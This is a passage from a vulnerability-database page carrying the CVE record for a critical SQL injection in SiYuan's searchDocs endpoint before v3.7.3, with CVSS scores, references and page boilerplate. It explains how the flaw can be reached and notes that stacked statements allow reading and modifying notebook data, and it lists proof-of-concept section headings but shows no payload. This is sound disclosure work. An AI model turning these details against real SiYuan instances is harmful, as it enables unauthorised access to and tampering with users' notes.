              "status": "unaffected",
              "version": "3.7.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.7.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Shirshakhtml"
        }
      ],
      "datePublic": "2026-07-20T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-14T16:51:12.746Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-33jq-p8c2-q3q4)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4"
        },
        {
          "name": "VulnCheck Advisory: SiYuan before v3.7.3 SQL Injection via searchDocs",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"
        }
      ],
      "title": "SiYuan before v3.7.3 SQL Injection via searchDocs",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-69085",
    "datePublished": "2026-08-03T13:20:40.650Z",
    "dateReserved": "2026-08-03T10:42:57.736Z",
    "dateUpdated": "2026-08-14T16:51:12.746Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-33JQ-P8C2-Q3Q4

Summary

Details

Impact

Root cause

Reachability / auth tier

Proof of concept (read-only discloses sqlite_version())

1. Prerequisites

2. Why the payload is shaped this way

3. PoC

Suggested fix

CVE-2026-69085 (GCVE-0-2026-69085)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

Proof of concept (read-only discloses `sqlite_version()`)